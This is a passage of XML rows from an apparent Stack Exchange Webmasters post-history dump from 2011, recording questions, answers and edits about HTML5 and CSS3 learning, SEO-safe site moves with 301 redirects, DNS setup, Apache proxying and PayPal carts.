yet.&#xD;&#xA;&#xD;&#xA;Groups like WHATWG have even declared that &lt;a href=&quot;http://wiki.whatwg.org/wiki/FAQ#What.27s_this_I_hear_about_2022.3F&quot;&gt;&quot;the 2022 date is no longer relevant&quot;&lt;/a&gt; and that you can &lt;a href=&quot;http://wiki.whatwg.org/wiki/FAQ#When_will_we_be_able_to_start_using_these_new_features.3F&quot;&gt;use the new features now.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;In short, I suggest you run through the &lt;a href=&quot;http://htmldog.com/&quot;&gt;HTML Dog tutorials&lt;/a&gt; you linked to as a refresher course, then buy these wonderful books to get you up to speed on the new stuff in HTML5, CSS3, and how you can use both without breaking things in older browsers:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; - [HTML5&#xD;&#xA;   For Web Designers](http://www.abookapart.com/products/html5-for-web-designers)   &#xD;&#xA; - [CSS3&#xD;&#xA;   For Web Designers](http://www.abookapart.com/products/css3-for-web-designers)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33761" PostHistoryTypeId="2" PostId="14414" RevisionGUID="de07dc55-0bff-42cd-acae-99eb25fb01bb" CreationDate="2011-05-26T10:00:11.407" UserId="7198" Text="Google Instant Previews show pages the same way any WebKit browser would do, which is the same way your visitors see your site. From [Google's Site Preview FAQ](https://sites.google.com/site/webmasterhelpforum/en/faq-instant-previews#08):&#xD;&#xA;&#xD;&#xA;&gt; &quot;The preview generator renders JavaScript, AJAX, CSS3, frames, and iframes in the same way that a Chrome / Webkit-based browser would.&quot;&#xD;&#xA;&#xD;&#xA;If you want to change how predominant the AdSense ad is in Google's previews, you'd have to change how predominant it is for all your visitors.&#xD;&#xA;&#xD;&#xA;Alternatively, you can &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=35304&quot;&gt;prevent Google Instant Previews on your site&lt;/a&gt; altogether by using the `nosnippet` meta tag:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;googlebot&quot; content=&quot;nosnippet&quot;&gt;&#xD;&#xA;&#xD;&#xA;Note that this would also remove the text that appears below your page title that describes your page in Google's search results, which may be less than ideal." />
  <row Id="33762" PostHistoryTypeId="2" PostId="14415" RevisionGUID="9905aaf8-65be-492f-a656-73c20b091caa" CreationDate="2011-05-26T10:11:11.123" UserId="2777" Text="I'm just wondering how it is possible that IGN.com has this in its title tag: &#xD;&#xA;&#xD;&#xA;    &quot;Video Games, Cheats, Walkthroughs, Game Trailers, Reviews, News, Previews &amp; Videos at IGN&quot;&#xD;&#xA;while on Google its title is simply &quot;IGN&quot;. How can one achieve such a thing? Does it use some special meta tag I can't see?" />
  <row Id="33763" PostHistoryTypeId="1" PostId="14415" RevisionGUID="9905aaf8-65be-492f-a656-73c20b091caa" CreationDate="2011-05-26T10:11:11.123" UserId="2777" Text="Title tag different from title appearing in Google?" />
  <row Id="33764" PostHistoryTypeId="3" PostId="14415" RevisionGUID="9905aaf8-65be-492f-a656-73c20b091caa" CreationDate="2011-05-26T10:11:11.123" UserId="2777" Text="&lt;seo&gt;" />
  <row Id="33765" PostHistoryTypeId="2" PostId="14416" RevisionGUID="f4cd47f3-0fbe-44c2-9b68-0129effb6adf" CreationDate="2011-05-26T10:18:55.837" UserId="1643" Text="Google modifies the title according to what you're looking for. I presume you searched for &quot;ign&quot; and saw the title IGN. If I search for &#xD;&#xA;&#xD;&#xA;&gt; IGN is your site for Xbox 360, PS3, Wii, PC, 3DS, PSP &amp; iPhone games with expert reviews, news, previews, trailers, cheat codes&#xD;&#xA;&#xD;&#xA;then I get &#xD;&#xA;&#xD;&#xA;&gt; Video Games, Cheats, Walkthroughs, Game Trailers, Reviews, News ...&#xD;&#xA;&#xD;&#xA;as the title in the search listing. Sometimes the title (and the summary) comes from [dmoz][1]. You can find out more about how they generate titles here: http://www.google.com/support/webmasters/bin/answer.py?answer=35264&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org" />
  <row Id="33766" PostHistoryTypeId="2" PostId="14417" RevisionGUID="53bc3598-1d5f-4f78-907e-c504f1121dd2" CreationDate="2011-05-26T10:19:13.690" UserId="7198" Text="If the website is running on the same box as Fedora, you could use PHP's &lt;a href=&quot;http://uk3.php.net/function.exec&quot;&gt;exec()&lt;/a&gt; command to run a shell script that creates a new user, as described in &lt;a href=&quot;http://www.linuxforums.org/forum/programming-scripting/176031-solved-crafting-php-script-create-unix-user.html#post832691&quot;&gt;this forum post.&lt;/a&gt;" />
  <row Id="33767" PostHistoryTypeId="2" PostId="14418" RevisionGUID="5050a2f6-739d-4a6e-8bd9-43db05fcc9bb" CreationDate="2011-05-26T10:19:31.643" UserId="7822" Text="Your best bet would be contacting the website owner and asking them to take it down (check whois for email address). If you get no reply, then contact their host. Even if it is not illegal, it is obviously not ethically right and they might be able to help you." />
  <row Id="33768" PostHistoryTypeId="10" PostId="14402" RevisionGUID="d2d0a0cd-0ee7-4edd-b501-a0ae9f863850" CreationDate="2011-05-26T11:24:55.563" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33771" PostHistoryTypeId="4" PostId="14394" RevisionGUID="5bec129a-c483-4af1-a8b2-6914279cded2" CreationDate="2011-05-26T11:32:29.273" UserId="7198" Comment="Placed question in title" Text="What hosting solutions help with traffic spikes?" />
  <row Id="33772" PostHistoryTypeId="6" PostId="14394" RevisionGUID="5bec129a-c483-4af1-a8b2-6914279cded2" CreationDate="2011-05-26T11:32:29.273" UserId="7198" Comment="Placed question in title" Text="&lt;web-hosting&gt;&lt;traffic&gt;&lt;vps&gt;&lt;cloud-hosting&gt;&lt;high-traffic&gt;" />
  <row Id="33773" PostHistoryTypeId="24" PostId="14394" RevisionGUID="5bec129a-c483-4af1-a8b2-6914279cded2" CreationDate="2011-05-26T11:32:29.273" Comment="Proposed by 7198 approved by 1253 edit id of 352" />
  <row Id="33774" PostHistoryTypeId="2" PostId="14419" RevisionGUID="e580264e-d017-4d64-a9ef-a4fe95751a07" CreationDate="2011-05-26T11:55:21.553" UserId="7822" Text="The biggest advantage to a VPS is that you decide what goes on it. For example, if you don't want to use apache... install something else. If you want Ruby (or another language that is not always on shared hosting) then install it!" />
  <row Id="33775" PostHistoryTypeId="25" PostId="14415" RevisionGUID="ec02b8de-e26c-4753-9bbf-092ff063d6f0" CreationDate="2011-05-26T12:13:00.207" Comment="http://twitter.com/#!/StackWebmasters/status/73723302631325696" />
  <row Id="33776" PostHistoryTypeId="5" PostId="14413" RevisionGUID="be73653e-3f16-4e5a-802f-44bfdd87e5b5" CreationDate="2011-05-26T12:28:31.010" UserId="7198" Comment="improved formatting" Text="**Yes. You should learn and use HTML5 and CSS3 today.**&#xD;&#xA;&#xD;&#xA;If you wait until HTML5 and CSS3 are 'officially supported' before learning them, you'll be waiting until &lt;a href=&quot;http://www.techrepublic.com/blog/programming-and-development/html-5-editor-ian-hickson-discusses-features-pain-points-adoption-rate-and-more/718&quot;&gt;2022,&lt;/a&gt; which is the year that Ian Hickson, the editor of the HTML5 specification, expects to see HTML5 put forward as an 'official recommendation' by the &lt;a href=&quot;http://en.wikipedia.org/wiki/World_Wide_Web_Consortium&quot;&gt;W3C.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;The fact that HTML5 is not yet an official recommendation should definitely not stop you using it. It just means that the people who decide how the new features are implemented and tested haven't quite finished arguing about it yet.&#xD;&#xA;&#xD;&#xA;Groups like WHATWG have even declared that &lt;a href=&quot;http://wiki.whatwg.org/wiki/FAQ#What.27s_this_I_hear_about_2022.3F&quot;&gt;&quot;the 2022 date is no longer relevant&quot;&lt;/a&gt; and that you can &lt;a href=&quot;http://wiki.whatwg.org/wiki/FAQ#When_will_we_be_able_to_start_using_these_new_features.3F&quot;&gt;use the new features now.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;In short, I suggest you run through the &lt;a href=&quot;http://htmldog.com/&quot;&gt;HTML Dog tutorials&lt;/a&gt; you linked to as a refresher course, then buy these wonderful books to get you up to speed on the new stuff in HTML5, CSS3, and how you can use both without breaking things in older browsers:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; - [HTML5&#xD;&#xA;   For Web Designers](http://www.abookapart.com/products/html5-for-web-designers)   &#xD;&#xA; - [CSS3&#xD;&#xA;   For Web Designers](http://www.abookapart.com/products/css3-for-web-designers)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33777" PostHistoryTypeId="2" PostId="14420" RevisionGUID="ee99d25d-e6d0-4f7e-852d-09a16feb75fa" CreationDate="2011-05-26T12:37:48.873" UserId="1643" Text="To answer the image size, you can use [yslow][1] which can analyse all sorts of things that slow a page down. It particularly spots images where the image is displayed at a smaller size than the original file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yslow/" />
  <row Id="33778" PostHistoryTypeId="17" PostId="14421" RevisionGUID="90514eed-0d45-4450-a790-54439028cfca" CreationDate="2011-05-26T12:50:58.683" UserId="-1" Comment="from http://stackoverflow.com/questions/6022183/seo-moving-site-to-subdomain-without-losing-seo-ranking" Text="" />
  <row Id="33779" PostHistoryTypeId="17" PostId="14422" RevisionGUID="11d4aa9c-f3a3-4d05-8279-a340ba3acb68" CreationDate="2011-05-26T12:50:58.683" UserId="-1" Comment="from http://stackoverflow.com/questions/6022183/seo-moving-site-to-subdomain-without-losing-seo-ranking" Text="" />
  <row Id="33780" PostHistoryTypeId="17" PostId="14423" RevisionGUID="2d1900bc-0e7e-485a-934d-9ab57974e19e" CreationDate="2011-05-26T12:50:58.683" UserId="-1" Comment="from http://stackoverflow.com/questions/6022183/seo-moving-site-to-subdomain-without-losing-seo-ranking" Text="" />
  <row Id="33781" PostHistoryTypeId="17" PostId="14424" RevisionGUID="bcd37dbc-cc95-49b0-9fa1-8360db96942a" CreationDate="2011-05-26T12:50:58.683" UserId="-1" Comment="from http://stackoverflow.com/questions/6022183/seo-moving-site-to-subdomain-without-losing-seo-ranking" Text="" />
  <row Id="33782" PostHistoryTypeId="2" PostId="14422" RevisionGUID="9d4e45c5-30e6-457e-9085-3adae056fd3a" CreationDate="2011-05-16T19:18:33.637" UserDisplayName="beagan" Text="You will have no loss in SEO ranking by moving the host of the blog." />
  <row Id="33783" PostHistoryTypeId="2" PostId="14423" RevisionGUID="928215df-323d-4e44-8a55-55320eba6d56" CreationDate="2011-05-16T19:20:33.597" UserDisplayName="RexM" Text="**I'm not an expert**&#xD;&#xA;&#xD;&#xA;Making blog.company.com would work. Make sure you have company.com/2011/04/blog-post 301 redirect to blog.company.com/2011/04/blog-post. Ensure **all** your permanent links 301 redirect to the new site. Ask webmasters linking to your blog to update their links.&#xD;&#xA;&#xD;&#xA;Go into [Google webmaster tools][1] and setup a change of address. They have steps provided on their site for how to set this up, as well as tips on how to make the process as smooth as possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/" />
  <row Id="33784" PostHistoryTypeId="2" PostId="14424" RevisionGUID="b31637aa-5367-4ea3-bf2e-2cf58f632f2e" CreationDate="2011-05-22T11:35:40.997" UserDisplayName="Mhoad" Text="It is worth mentioning though that as the URLs will change there will indeed be some loss of SEO value of those pages. As while a 301 redirect will pass much of the value a URL has acquired it will not pass all of it. Additionally, moving your blog content to a new subdomain has issues of it's own which are worth considering. Mainly that subdomains are viewed by search engines as totally different sites to the primary domain. So you are essentially splitting the total SEO value of your website by hosting the content at two separate locations." />
  <row Id="33785" PostHistoryTypeId="2" PostId="14421" RevisionGUID="05c1a5c8-9954-4851-a613-c478733e1d10" CreationDate="2011-05-16T19:13:43.010" UserDisplayName="Andrew" Text=" My company has operated a blog site on our primary URL (e.g. www.company.com) for about 4 months. Over this time, we have built up significant SEO ranking through daily posts and articles. Our primary e-commerce product is now developed, and we plan to have the e-commerce site sit at www.company.com.&#xD;&#xA;&#xD;&#xA;The e-commerce site is hosted on MediaTemple and our blog site is hosted on BlueHost. We want to ensure we do not lose any of our SEO ranking on www.company.com during the transfer. &#xD;&#xA;&#xD;&#xA;What would your ideas be for the best way to make the transfer?&#xD;&#xA;&#xD;&#xA;1) Would it be alright to simply move the blog site to www.blog.company.com (still on bluehost)?&#xD;&#xA;2) Should we transfer our blog site to be hosted on mediatemple?&#xD;&#xA;3) Should we move our blog site to www.blog.company.com and get the blog index and compile it into redirection urls for the apache?&#xD;&#xA;4) For readability reasons, we would rather have our blog site at www.company.com/blog. However, I was advised this is more difficult as we would have to configure the proxy.&#xD;&#xA;&#xD;&#xA;Any advice would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="33786" PostHistoryTypeId="1" PostId="14421" RevisionGUID="05c1a5c8-9954-4851-a613-c478733e1d10" CreationDate="2011-05-16T19:13:43.010" UserDisplayName="Andrew" Text="SEO - Moving site to subdomain without losing SEO Ranking" />
  <row Id="33787" PostHistoryTypeId="3" PostId="14421" RevisionGUID="05c1a5c8-9954-4851-a613-c478733e1d10" CreationDate="2011-05-16T19:13:43.010" UserDisplayName="Andrew" Text="&lt;seo&gt;&lt;seo-friendly&gt;&lt;sem&gt;" />
  <row Id="33788" PostHistoryTypeId="17" PostId="14425" RevisionGUID="e598aaeb-cf6b-4ae8-a6a7-ce17dc93bc88" CreationDate="2011-05-26T12:51:36.093" UserId="-1" Comment="from http://stackoverflow.com/questions/6133671/bulletin-board-system-with-tagging-email-notification" Text="" />
  <row Id="33789" PostHistoryTypeId="2" PostId="14425" RevisionGUID="8a7099d1-d5e6-4cab-8e8e-50558a60787a" CreationDate="2011-05-26T04:28:02.700" UserDisplayName="user678220" Text="I am looking for nice BBS system, Bulletin Board System, Discussion Board, or nice in-company communication platform.&#xD;&#xA;&#xD;&#xA;There are lots of people, about 30 people, joining in our project.&#xD;&#xA;We would like to share idea among us on that platform.&#xD;&#xA;We can post questions and concerns related with the project, and we&#xD;&#xA;would like to respond each other.&#xD;&#xA;&#xD;&#xA;Here is my list of functionality I want:&#xD;&#xA;&#xD;&#xA;- Tagging Thread&#xD;&#xA;&#xD;&#xA;  e.g) Announcement, Finance, Legal, Idea. One thread&#xD;&#xA;   can have multiple Tags.&#xD;&#xA;- members can set on/off to receive email when new comments are&#xD;&#xA;posted. They can set on/off on each Tag.&#xD;&#xA;&#xD;&#xA;  e.g) one member on to receive email related with &quot;Announcement&quot;, but&#xD;&#xA;off to receive &quot;Finance&quot;.&#xD;&#xA;- Thread owner can change threads' tag any time.&#xD;&#xA;- Thread can have several type of post.&#xD;&#xA; - Thread can be &quot;vote&quot; thread. Everyone can vote their opinion.&#xD;&#xA; - Thread can be &quot;action plan&quot; thread.  In this thread, &quot;who&quot; will&#xD;&#xA;&quot;what&quot; remains in the thread.&#xD;&#xA;   By viewing all &quot;action plan&quot; thread, all action plans needed in&#xD;&#xA;the company is visualized.&#xD;&#xA;" />
  <row Id="33790" PostHistoryTypeId="1" PostId="14425" RevisionGUID="8a7099d1-d5e6-4cab-8e8e-50558a60787a" CreationDate="2011-05-26T04:28:02.700" UserDisplayName="user678220" Text="Bulletin Board System with tagging, email notification" />
  <row Id="33791" PostHistoryTypeId="3" PostId="14425" RevisionGUID="8a7099d1-d5e6-4cab-8e8e-50558a60787a" CreationDate="2011-05-26T04:28:02.700" UserDisplayName="user678220" Text="&lt;php&gt;&lt;web-applications&gt;" />
  <row Id="33792" PostHistoryTypeId="2" PostId="14426" RevisionGUID="7b80f0db-e743-4b7d-9da5-09d27df1c6f5" CreationDate="2011-05-26T12:58:48.277" UserId="7825" Text="I think python is a best choice for both administration purpose and web development, &#xD;&#xA;Fedora itself using it for installation and administration purpose, and its very powerful in this field,&#xD;&#xA;and its easy to learn and extends, please follow these tow links to learn more about python:&#xD;&#xA;&#xD;&#xA;python website: [http://python.org][1]&#xD;&#xA;cherrypy web framework : [http://www.cherrypy.org/][2]&#xD;&#xA;python subprocess for command line execution : [http://docs.python.org/library/subprocess.html][3]&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://python.org&#xD;&#xA;  [2]: http://www.cherrypy.org/&#xD;&#xA;  [3]: http://docs.python.org/library/subprocess.html" />
  <row Id="33793" PostHistoryTypeId="2" PostId="14427" RevisionGUID="335304ae-18be-4faa-8778-94322ba57f1c" CreationDate="2011-05-26T13:09:55.140" UserId="1253" Text="&gt;1) Would it be alright to simply move the blog site to www.blog.company.com (still on bluehost)? &#xD;&#xA;&#xD;&#xA;That would be fine *if* you do [301 redirects][1] from the old URLs to the new URLs. If you do not do 301 redirects you are essentially starting over. The 301 redirect tells search engines, and your users, that those pages have moved and where they have moved to. This is important not only from a usability point of view but it also allows the links and PageRank you've earned to be properly assigned to the new pages. [A small amount of value is lost][2] but it's a whole lot better then nothing.&#xD;&#xA;&#xD;&#xA;&gt;2) Should we transfer our blog site to be hosted on mediatemple? &#xD;&#xA;&#xD;&#xA;That's up to you. There is no difference SEO wise between the two. The choice is whether you want to have two hosts or not. I would think one host would be simpler but you know your business better then I do.&#xD;&#xA;&#xD;&#xA;&gt;3) Should we move our blog site to www.blog.company.com and get the blog index and compile it into redirection urls for the apache? &#xD;&#xA;&#xD;&#xA;See my answer to #1&#xD;&#xA;&#xD;&#xA;&gt;4) For readability reasons, we would rather have our blog site at www.company.com/blog.&#xD;&#xA;&#xD;&#xA;[There is no difference between subdomains and subdirectories as far as Google is concerned][3]. So if you want to put your blog in a subdirectory go for it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tamingthebeast.net/articles3/spiders-301-redirect.htm&#xD;&#xA;  [2]: http://www.marketingpilgrim.com/2010/03/google-confirms-301-redirects-result-in-pagerank-loss.html&#xD;&#xA;  [3]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/" />
  <row Id="33797" PostHistoryTypeId="2" PostId="14428" RevisionGUID="f7ab964b-dedd-4c5e-8aa2-196abc7cee9c" CreationDate="2011-05-26T13:19:41.117" UserId="7628" Text="Another possible alternative is to use email addresses. All carriers have email addresses tied to phone numbers. so can simply use those email addresses for free to send/receive email if that works for you. Any phone can also sent an SMS to an email address, as opposed to a phone number.&#xD;&#xA;&#xD;&#xA;You can find the list [here][1]&#xD;&#xA;&#xD;&#xA;Typically the email address is [10-digit number]@[providerdomain.com]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.emailtextmessages.com/" />
  <row Id="33798" PostHistoryTypeId="2" PostId="14429" RevisionGUID="154e197d-c08f-407c-9c53-1f05c0606a5b" CreationDate="2011-05-26T13:30:37.483" UserId="7628" Text="Go into your DNS settings and simply setup a new A record for the sub domains, and set the target to the same one as the main domain.&#xD;&#xA;&#xD;&#xA;The DNS settings you're looking for are going to be with the company where you registered the domain. If you did it through Nexcess, speak to them about setting it up. If you got the main domain through another registrar (e.g. GoDaddy, NetworkSolutions, Hover, etc.) then you'll go through that registrar's tools to setup the DNS.&#xD;&#xA;&#xD;&#xA;Each domain registrar has they own slightly different way to configure DNS." />
  <row Id="33799" PostHistoryTypeId="2" PostId="14430" RevisionGUID="6e6cf657-39d3-4e5a-a616-e2a83f9b5676" CreationDate="2011-05-26T13:43:56.183" UserId="1253" Text="PCI compliance will always be an issue when dealing with credit card payments. Doing it this way only complicates things as now not only does your site have to be PCI compliant but so does the user who uses this widget. PCI compliance dictates that any website that handles credit card payments must be PCI compliant. So by having the payment functionality in a widget you forces your users to be PCI compliant as well.&#xD;&#xA;&#xD;&#xA;One issue that may be difficult to overcome is SSL. You can perform the entire transaction over SSL using your widget but the user won't know that because the browser will not show that the page is secure unless the page that the widget is on is using SSL itself. So users may abandon a purchase if they don't see the lock icon in the browser.&#xD;&#xA;" />
  <row Id="33803" PostHistoryTypeId="2" PostId="14432" RevisionGUID="88cb5d92-77f8-4f11-ada2-a59041c7b23c" CreationDate="2011-05-26T13:47:25.933" UserId="7198" Text="Bug [14171](http://bugs.developers.facebook.net/show_bug.cgi?id=14171) and [16612](http://bugs.developers.facebook.net/show_bug.cgi?id=16612) in Facebook's bug tracker report the same problem you describe. Both tickets are marked as &quot;assigned&quot;, so neither are resolved yet. You might like to track their status there, though.&#xD;&#xA;&#xD;&#xA;**Possible workaround**  &#xD;&#xA;You could hide the Like count in your button, then use Facebook's &lt;a href=&quot;http://developers.facebook.com/docs/reference/api/&quot;&gt;Graph API&lt;/a&gt; to retrieve an accurate count and display it on the page. For example, this URL retrieves JSON-formatted data for Coca Cola's Facebook page: https://graph.facebook.com/cocacola&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33804" PostHistoryTypeId="2" PostId="14433" RevisionGUID="4b50d231-63f8-41c2-a3c8-23e6de34ac4b" CreationDate="2011-05-26T13:48:23.157" UserId="1253" Text="No. It looks as though they are available for registration to entities connected with Niger only. So a regular registrar won't be able to help you get one." />
  <row Id="33806" PostHistoryTypeId="5" PostId="14432" RevisionGUID="ee874995-d4d7-4642-9237-0c6de8658a33" CreationDate="2011-05-26T14:03:30.043" UserId="7198" Comment="deleted 71 characters in body; deleted 8 characters in body; added 1 characters in body" Text="[Bug 14171](http://bugs.developers.facebook.net/show_bug.cgi?id=14171) in Facebook's bug tracker reports the same problem you describe. The ticket is marked as &quot;assigned&quot;, so it's not resolved yet. You might like to track its status there, though.&#xD;&#xA;&#xD;&#xA;**Possible workaround**  &#xD;&#xA;You could hide the Like count in your button, then use Facebook's &lt;a href=&quot;http://developers.facebook.com/docs/reference/api/&quot;&gt;Graph API&lt;/a&gt; to retrieve an accurate count and display it on the page. For example, this URL retrieves JSON-formatted data for Coca Cola's Facebook page: https://graph.facebook.com/cocacola&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33810" PostHistoryTypeId="2" PostId="14435" RevisionGUID="6347a7a2-6969-4430-80e2-84e81a2eb876" CreationDate="2011-05-26T14:30:57.350" UserId="6184" Text="I'm just curious to see if this is something really worth testing, as it will require some coding to achieve." />
  <row Id="33811" PostHistoryTypeId="1" PostId="14435" RevisionGUID="6347a7a2-6969-4430-80e2-84e81a2eb876" CreationDate="2011-05-26T14:30:57.350" UserId="6184" Text="Has anybody split tested one password field versus password &amp; confirm on registrations?" />
  <row Id="33812" PostHistoryTypeId="3" PostId="14435" RevisionGUID="6347a7a2-6969-4430-80e2-84e81a2eb876" CreationDate="2011-05-26T14:30:57.350" UserId="6184" Text="&lt;a-b-testing&gt;" />
  <row Id="33816" PostHistoryTypeId="25" PostId="14435" RevisionGUID="bf8ec89b-a292-4f82-8ee0-dc644f06d0dc" CreationDate="2011-05-26T15:12:59.997" Comment="http://twitter.com/#!/StackWebmasters/status/73768601663963139" />
  <row Id="33817" PostHistoryTypeId="2" PostId="14436" RevisionGUID="e4fcc26d-0d78-4959-aa1d-6be2f232a23e" CreationDate="2011-05-26T16:21:03.200" UserId="7628" Text="[SquareSpace][1] should do most of this out-of-the-box, except maybe for the voting. You can customize who has access to what pretty easily via user accounts and audiences. Their modules include forums, galleries, blogs, and many other things. The voting might be something you can custom add onto it if you need to.&#xD;&#xA;&#xD;&#xA;You can create a free account in a few minutes, and play around with it. You'll have two weeks to do what you want with it without paying a dime, and unless you actually officially sign up for the paid version, you won't give them your credit card, so you won't be charged anything.&#xD;&#xA;&#xD;&#xA;  [1]: http://squarespace.com" />
  <row Id="33818" PostHistoryTypeId="5" PostId="14428" RevisionGUID="519627b6-e956-44e9-9647-bb6445f90edb" CreationDate="2011-05-26T16:25:10.940" UserId="7628" Comment="added 279 characters in body" Text="Another possible alternative is to use email addresses. All carriers have email addresses tied to phone numbers. so you can simply use those email addresses for free to send/receive SMS messages if that works for you. Any phone can also sent an SMS to an email address, as opposed to a phone number, and as far as I know this has worked since years and years ago with every phone I've ever owned (even non-smart phones). This functionality just seems to be something mobile carriers all decided to include in their messaging systems.&#xD;&#xA;&#xD;&#xA;You can find the list of carriers/email address domains [here][1]&#xD;&#xA;&#xD;&#xA;Typically the email address is [10-digit number]@[providerdomain.com]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.emailtextmessages.com/" />
  <row Id="33819" PostHistoryTypeId="2" PostId="14437" RevisionGUID="185c1033-596a-481d-b921-c53d0cc3fc4e" CreationDate="2011-05-26T16:57:52.620" UserId="7829" Text="I got a strange message from my server today:&#xD;&#xA;&#xD;&#xA;[&quot;The hostname (vps.listgiants.com) resolves to . It should resolve to 69.36.94.251. Please be sure to correct /etc/hosts as well as the 'A' entry in zone file for the domain.&#xD;&#xA;&#xD;&#xA;Some are all of these problems can be caused by /etc/resolv.conf being setup incorrectly. Please check this file if you believe everything else is correct.&#xD;&#xA;&#xD;&#xA;You may be able to automatically correct this problem by using the 'Add an A entry for your hostname' option under 'Dns Functions' in your Web Host Manager.&quot;]&#xD;&#xA;&#xD;&#xA;I have not made any changes to the DNS and my hosting company is completely hands off so they cannot help me. I have an A entry as 69.36.94.251 as they recommend. resolv.conf is as it should be as well. Another problem is that my domain, listgiants.com points to another vps I own: 69.36.87.254. What else can I try to get it working?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33820" PostHistoryTypeId="1" PostId="14437" RevisionGUID="185c1033-596a-481d-b921-c53d0cc3fc4e" CreationDate="2011-05-26T16:57:52.620" UserId="7829" Text="Problem with DNS setup on vps" />
  <row Id="33821" PostHistoryTypeId="3" PostId="14437" RevisionGUID="185c1033-596a-481d-b921-c53d0cc3fc4e" CreationDate="2011-05-26T16:57:52.620" UserId="7829" Text="&lt;dns&gt;" />
  <row Id="33822" PostHistoryTypeId="2" PostId="14438" RevisionGUID="404376e0-f97f-4db9-bb48-18f52e93a90f" CreationDate="2011-05-26T17:01:54.273" UserId="7830" Text="If your host uses Apache and allows mod_proxy you can set up a virtual host like this:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;        ServerName www.def.com&#xD;&#xA;        ProxyPass / http://www.abc.com&#xD;&#xA;        ProxyPassReverse / http://www.abc.com&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;This will have the server query the remote site and return it to the user through the new domain." />
  <row Id="33823" PostHistoryTypeId="2" PostId="14439" RevisionGUID="1def8534-b36d-4253-a183-703fc2f18c6f" CreationDate="2011-05-26T17:15:51.403" UserId="7831" Text="I use the Paypal &quot;Website Payments Standard&quot; system on my website - I believe this is their term for the simple style of &quot;Add to cart&quot; button that you can set up under Merchant tools in your Paypal profile. The way it works is that you set up the button's price, name and shipping details in Paypal's interface, then you paste it into your page. It is safest to have them host the button's price data, because then the user cannot edit the price to be lower.&#xD;&#xA;&#xD;&#xA;This is easy enough, but in my small-ish web store of 10 items, I feel that I am losing opportunities to sell more stuff due to the fact adding each item means 1. Clicking &quot;add to cart&quot; for that item 2. Reviewing the cart on the Paypal page that loads 3. clicking &quot;Continue Shopping&quot;. It's messy and ugly.&#xD;&#xA;&#xD;&#xA;What I wanted to know is if there's a way around this clunky method that sticks with the Paypal-hosted buttons system, and doesn't introduce an alternate pre-Paypal shopping cart to confuse things and upset customers. I imagine being able to replace the &quot;add to cart&quot; button with &quot;Added to cart!&quot; once clicked, while in the background Paypal is informed that the button was clicked.&#xD;&#xA;&#xD;&#xA;http://www.simplecartjs.com/ is an example of a system that lets you add multiple things to a cart before submitting, but it does it with a GET string that'd be very easy to manipulate. The buttons aren't hosted on Paypal, in other words. It also has a duplicated cart that I think might get confusing for people (though that's not a dealbreaker, and could be worked around.)" />
  <row Id="33824" PostHistoryTypeId="1" PostId="14439" RevisionGUID="1def8534-b36d-4253-a183-703fc2f18c6f" CreationDate="2011-05-26T17:15:51.403" UserId="7831" Text="In a simple Paypal web store, how can you add multiple items to the cart with one page load?" />
  <row Id="33825" PostHistoryTypeId="3" PostId="14439" RevisionGUID="1def8534-b36d-4253-a183-703fc2f18c6f" CreationDate="2011-05-26T17:15:51.403" UserId="7831" Text="&lt;paypal&gt;&lt;shopping-cart&gt;&lt;payment&gt;" />
  <row Id="33826" PostHistoryTypeId="6" PostId="14425" RevisionGUID="e6afd2f9-b083-40cf-910d-e676a8c5be67" CreationDate="2011-05-26T17:23:06.087" UserId="1010" Comment="Retagging, user is seeking a script" Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;web-applications&gt;" />
  <row Id="33827" PostHistoryTypeId="24" PostId="14425" RevisionGUID="e6afd2f9-b083-40cf-910d-e676a8c5be67" CreationDate="2011-05-26T17:23:06.087" Comment="Proposed by 1010 approved by 1253 edit id of 355" />
  <row Id="33828" PostHistoryTypeId="2" PostId="14440" RevisionGUID="728c3a21-8fbb-43a9-95da-9cb093963706" CreationDate="2011-05-26T17:23:57.977" UserId="3214" Text="There are no A records for vps in the listgiants.com dns settings.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/yK7Lw.png" />
  <row Id="33829" PostHistoryTypeId="25" PostId="14437" RevisionGUID="2c95bf37-9905-42e5-ab6e-30ab73730251" CreationDate="2011-05-26T18:13:00.720" Comment="http://twitter.com/#!/StackWebmasters/status/73813902361759744" />
  <row Id="33830" PostHistoryTypeId="17" PostId="14441" RevisionGUID="9dceb9de-c728-4c42-a600-7cc632430e8b" CreationDate="2011-05-26T18:16:02.883" UserId="-1" Comment="from http://stackoverflow.com/questions/6142417/rewriterule-was-matching-before-migration-but-now-browser-gets-a-404-error" Text="" />
